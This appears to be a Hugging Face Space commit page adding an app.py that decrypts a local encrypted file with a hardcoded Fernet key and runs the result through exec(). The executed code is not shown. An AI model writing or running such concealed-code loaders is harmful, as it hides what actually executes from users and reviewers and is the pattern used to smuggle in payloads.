Spaces:
Sleeping
Sleeping
Create app.py
Browse files
app.py
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from cryptography.fernet import Fernet
|
| 2 |
+
|
| 3 |
+
|
| 4 |
+
key = b'c9PGl7mpWfZDOCo67ZymRG_mCFZmifdFusN1E5nXs0o='
|
| 5 |
+
cipher = Fernet(key)
|
| 6 |
+
with open('/content/run_app.enc', 'rb') as file:
|
| 7 |
+
encrypted_code = file.read()
|
| 8 |
+
|
| 9 |
+
cipher = Fernet(key)
|
| 10 |
+
decrypted_code = cipher.decrypt(encrypted_code)
|
| 11 |
+
|
| 12 |
+
exec(decrypted_code.decode('utf-8'))
|